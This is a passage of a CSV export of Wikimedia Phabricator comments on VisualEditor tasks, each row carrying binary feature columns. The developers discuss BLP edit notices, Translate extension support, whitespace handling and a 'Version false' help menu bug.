+[[https://gerrit.wikimedia.org/r/329796]]
+",,,1483203828,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,182,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+479263,VisualEditor: Provide support for BLP edit notices on enwiki,I think it is better than editintro+JS yes.,,,1434999463,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,103,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+479091,VisualEditor: Provide support for BLP edit notices on enwiki,"One way to fix this, as @Cenarium has observed, would be to fix {T85372} and switch wiki(?s) over to use that instead; is this the best option?",,,1434985888,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,103,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0
+478588,VisualEditor: Provide support for BLP edit notices on enwiki,">>! In T56029#945042, @Cenarium wrote:
+>
+> Adding support in VE for preload / editintro is still worthy on its own, but it looks like this task is a duplicate of T51622.
+
+Now Merging.",,,1434824530,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,102,,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+463736,VisualEditor: Provide support for BLP edit notices on enwiki,">>! In T56029#1098976, @Cenarium wrote:
+> I've uploaded a patch for this (per-category editnotices) : [[https://gerrit.wikimedia.org/r/#/c/189178/|commit 189178]].
+
+I've updated the patch, it works properly now.",,,1432586632,,PHID-USER-znn4xfvlp7e7mr2g3tvl,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,99,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,1
+422846,VisualEditor: Provide support for BLP edit notices on enwiki,I've uploaded a patch for this (per-category editnotices) : [[https://gerrit.wikimedia.org/r/#/c/189178/|commit 189178]].,,,1425821786,,PHID-USER-znn4xfvlp7e7mr2g3tvl,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1
+393194,VisualEditor: Provide support for BLP edit notices on enwiki,">>! In T56029#800523, @TheDJ wrote:
+> alternatively, get away from this specific implementation and try to move it into core as ""category based edit notices"" and VE gets the notice for free.
+
+I've created a specific task for per category editnotices, T85372, I had already suggested it for the more general T20596 but this didn't get implemented. 
+FYI, the English Wikipedia isn't the only wiki to use this.
+Adding support in VE for preload / editintro is still worthy on its own, but it looks like this task is a duplicate of T51622.",,,1419691441,,PHID-USER-znn4xfvlp7e7mr2g3tvl,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,77,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,0,1,0,1,1,0,1
+335180,VisualEditor: Provide support for BLP edit notices on enwiki,"alternatively, get away from this specific implementation and try to move it into core as ""category based edit notices"" and VE gets the notice for free.",,,1417508902,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,74,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+253858,VisualEditor: Provide support for BLP edit notices on enwiki,"To work as desired VE would need to respect the editintro= url parameter. For example
+http://en.wikipedia.org/wiki/Paul_Bahn?veaction=edit&editintro=Template:BLP_editintro
+and use that to fill in the edit notice with Template:BLP_editintro.
+A couple of lines in MediaWiki:Common.js would add the parameters to URL's for all BLPs.",,,1378970400,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+253851,VisualEditor: Provide support for BLP edit notices on enwiki,Link for InputBox https://www.mediawiki.org/wiki/Extension:InputBox,,,1378969899,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+56000,VisualEditor: Investigate where we can replace setTimeouts with EventSequencer,"For example, onBeforePaste/onAfterPaste in ve.ce.Surface
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1378834020,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-wh766os42bllzvmszxya,task_description,open,True,c1,3,True,False,,10,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+252283,VisualEditor: Investigate where we can replace setTimeouts with EventSequencer,"Thanks, looks like I hadn't properly updated my copy of VE to master. :P",,,1378839634,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wh766os42bllzvmszxya,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+252275,VisualEditor: Investigate where we can replace setTimeouts with EventSequencer,"(In reply to comment #1)
+> Got a reference doc for EventSequencer?
+
+https://doc.wikimedia.org/VisualEditor/master/#!/api/ve.EventSequencer",,,1378839518,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wh766os42bllzvmszxya,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1
+252269,VisualEditor: Investigate where we can replace setTimeouts with EventSequencer,Got a reference doc for EventSequencer?,,,1378839441,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wh766os42bllzvmszxya,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+55974,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"<translate>…</translate> and the related <tvar>…</tvar> are currently un-parsed and shown as plain wikitext in VisualEditor because they're not recognised, per T50891; however, once that is fixed, the blocks won't be editable except as alien nodes (in wikitext), and won't be createable.
+
+Making a proper VisualEditor plugin to translate these in-page as a rich editor shouldn't be particularly hard (he says…).",Medium,50.0,1378773120,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_description,open,True,c1,3,True,False,,10,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+1956954,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),">>! In T55974#8091892, @Tacsipacsi wrote:
+> I suppose this one, if we can call this a specification at all. I have the feeling that it was simply forgotten that translation syntax needs to be created, not only maintained…
+
+Not forgotten. What has been done so far was a necessary first step and only provides a basic support. The Language team is exploring options how to continue working towards full support. This doesn't mean adding a button or two; we want to take a deeper look to figure out what would actually be a good user experience. ",,,1658930211,,PHID-USER-732lqsmz4v6bss3kln2v,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,True,,,473,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+1953215,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"I suppose this one, if we can call this a specification at all. I have the feeling that it was simply forgotten that translation syntax needs to be created, not only maintained…",,,1658336620,,PHID-USER-ocqnoktaualicuvge2tu,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,472,,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+1951966,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),">>! In T55974#8086214, @Tacsipacsi wrote:
+> No, there’s another “minor” caveat the blog post doesn’t mention: you can’t add new markup. The content can be edited, they can be deleted, even copied and pasted, but if there’s no `<translate>` or `<tvar>` tag on the page you edit, there’s no way to create them.
+
+Thanks for this info. Which task/subtask of this task cluster specifies the work (add new markup) that's still to be done?",,,1658220589,,PHID-USER-lbrksgjks7nerhn7d2xm,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,472,,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,1
+1951823,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"No, there’s another “minor” caveat the blog post doesn’t mention: you can’t add new markup. The content can be edited, they can be deleted, even copied and pasted, but if there’s no `<translate>` or `<tvar>` tag on the page you edit, there’s no way to create them.",,,1658180714,,PHID-USER-ocqnoktaualicuvge2tu,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,472,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1
+1951751,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),Is this task resolved by https://diff.wikimedia.org/2022/05/12/mediawiki-1-38-brings-support-for-editing-translatable-pages-with-the-visual-editor/ ?,,,1658172925,,PHID-USER-bz37wupbujiswpiqntmt,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,472,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0
+1123974,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"I added this issue to MediaWiki Stakeholders' Group/TechConf Input:
+
+https://www.mediawiki.org/wiki/MediaWiki_Stakeholders%27_Group/TechConf_Input#Improved_Translate_-_VisualEditor_integration
+
+Please add your endorsement if you like to make this issue more visible.",,,1534491626,,PHID-USER-yftvcvsb36qrmx4iohsm,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,267,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0
+1123972,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"I added this issue to MediaWiki Stakeholders' Group/TechConf Input:
+
+https://www.mediawiki.org/wiki/MediaWiki_Stakeholders%27_Group/TechConf_Input#Improved_Translate_-_VisualEditor_integration
+
+Please add your endorsement if you like make this issue more visible.",,,1534491589,,PHID-USER-yftvcvsb36qrmx4iohsm,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,267,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0
+622418,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"Also, I don't think I could do this in two weeks, which suggests this is too big for GSoC.",,,1457021325,,PHID-USER-732lqsmz4v6bss3kln2v,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,True,,,139,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+622415,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),">>! In T55974#2084495, @Micru wrote:
+> I see that the stalled bug has been marked as resolved, Could this task become a GsoC project?
+
+Eventually, yes; however this was missing a few dependencies, T49344 chief amongst them. That work might not be done for another year or more.",,,1457021192,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,True,,,139,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,1,1,1,0,1
+1265057,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),,,,1555396632,,PHID-USER-my5s6nat437le6q5fq7d,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,302,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+622411,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),,,,1457021044,,PHID-USER-my5s6nat437le6q5fq7d,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,139,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+415410,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),">>! In T55974#1042621, @Qgil wrote:
+> If there is no interest / critical mentoring mass to promote this project for GSoC / Outreachy, then maybe the current ""Normal"" priority should be lower?
+
+It's not a matter of priority, see blockers: this is blocked on a stalled bug.",,,1424596006,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,True,,,85,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,1
+412458,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"If there is no interest / critical mentoring mass to promote this project for GSoC / Outreachy, then maybe the current ""Normal"" priority should be lower?",,,1424130694,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,85,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0
+409851,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"Wikimedia will [[ https://phabricator.wikimedia.org/T921 | apply to Google Summer of Code and Outreachy ]] on Tuesday, February 17. If you want this task to become a featured project idea, please follow [[ https://phabricator.wikimedia.org/project/view/1042/ | these instructions ]]. ",,,1423662273,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,84,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+402910,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"Is it true that parsoid has limitations parsing tags other than ""normal parser tags"". If yes what are they & why ? I want to make a plugin for VE to embed translate extension as mentioned above. Cant i include my own grammar for parser to do stuffs way i want.?",,,1422107606,,PHID-USER-cqpeh4jvvexbszsxogrw,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,81,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+250435,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"Pankaj: This bug depends on fixing bug 48891 first (see the ""Depends on"" field). If something is unclear with comment 0, please explain what is unclear and why. Also see [[mw:Annoying little bugs]].",,,1394440778,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,True,,,36,,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1
+250429,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"**pankaj10it45** wrote:
+
+Hello,I want to work on this bug.Can you tell me what exactly it is?
+Thank you.",,,1394405522,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,35,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+55931,VisualEditor: Move to using white-space: pre-wrap instead of using nbsp's to fake spaces,,Medium,50.0,1378691520,1448930058.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-sc56jdm4lxt6le2zxeuz,task_description,resolved,True,c1,3,False,False,False,10,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+570418,VisualEditor: Move to using white-space: pre-wrap instead of using nbsp's to fake spaces,"Change 255931 merged by jenkins-bot:
+Use white-space: pre-wrap instead of using &nbsp; for spaces
+
+[[https://gerrit.wikimedia.org/r/255931]]",,,1448930482,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sc56jdm4lxt6le2zxeuz,task_subcomment,,True,c1,3,False,,,126,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+569705,VisualEditor: Move to using white-space: pre-wrap instead of using nbsp's to fake spaces,"Change 255931 had a related patch set uploaded (by Bartosz Dziewoński):
+Use white-space: pre-wrap instead of using &nbsp; for spaces
+
+[[https://gerrit.wikimedia.org/r/255931]]
+",,,1448813669,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sc56jdm4lxt6le2zxeuz,task_subcomment,,True,c1,3,False,,,125,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+429320,VisualEditor: Move to using white-space: pre-wrap instead of using nbsp's to fake spaces,"Still valid:
+```
+./src/ce/nodes/ve.ce.TextNode.js:		// Replace spaces with &nbsp; where needed
+```",,,1426789095,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sc56jdm4lxt6le2zxeuz,task_subcomment,,True,c1,3,True,,,89,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+247932,VisualEditor: Move to using white-space: pre-wrap instead of using nbsp's to fake spaces,"From an email conversation I had with Aryeh in January 2012:
+
+(Since I'm thinking about canonicalization of whitespace, a tip: set
+white-space: pre-wrap on any contenteditable regions you use, and
+wherever you use them.  This will stop you from needing to use nbsp's
+in ways they were never intended to be used, which causes a variety of
+subtle bugs.  See
+<http://dvcs.w3.org/hg/editing/raw-file/tip/editing.html#canonical-space-sequences>
+for a basic explanation, and click the first ""View Comments"" at
+<http://dvcs.w3.org/hg/editing/raw-file/tip/editing.html#the-inserttext-command>
+for a more detailed explanation of how nbsp substitution works in
+practice.)",,,1378691662,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-sc56jdm4lxt6le2zxeuz,task_subcomment,,True,c1,3,False,,,10,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+55917,"VisualEditor: Hide ""version false"" in the help menu if it can't be shown","== Steps ==
+1) Go to
+https://www.mediawiki.org/wiki/BUG?veaction=edit&uselang=en
+2) Click on ""BETA""
+
+== Actual result ==
+There is the text ""Version false"" generated by the HTML:
+
+<div>
+ <span class=""ve-init-mw-ViewPageTarget-version-label"">Version</span> 
+ <a class=""ve-init-mw-ViewPageTarget-version-link""
+    target=""_blank""
+    href=""false"">false</a> 
+ <span class=""ve-init-mw-ViewPageTarget-version-date""></span>
+</div>
+
+== Expected result ==
+There should be some version number instead of the ""false"" text
+
+--------------------------
+**Version**: unspecified
